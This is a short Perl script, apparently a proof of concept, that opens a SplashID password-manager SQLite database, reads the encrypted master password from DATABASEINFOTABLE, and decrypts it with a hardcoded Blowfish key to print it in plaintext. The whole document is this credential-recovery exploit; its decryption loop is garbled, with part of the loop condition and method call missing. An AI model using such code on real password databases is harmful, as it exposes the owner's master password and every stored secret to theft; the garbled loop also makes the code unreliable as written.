#!/usr/bin/perl use DBI; use Crypt::Blowfish; $key = "g.;59?^/0n1X*{OQlRwy"; $dbh = DBI->connect( "dbi:SQLite:SplashIDDataBase.db" ) || die "Cannot connect: $DBI::errstr"; $sth = $dbh->prepare("SELECT PASSWORD from DATABASEINFOTABLE"); $numrows = $sth->execute; $ref = $sth->fetchrow_hashref; $cryptpwd = $ref->{PASSWORD}; $sth->finish; $dbh->disconnect; $cipher = new Crypt::Blowfish $key; for($i=0;$idecrypt(substr($cryptpwd,$i,8)); print $pwd; } print "\n";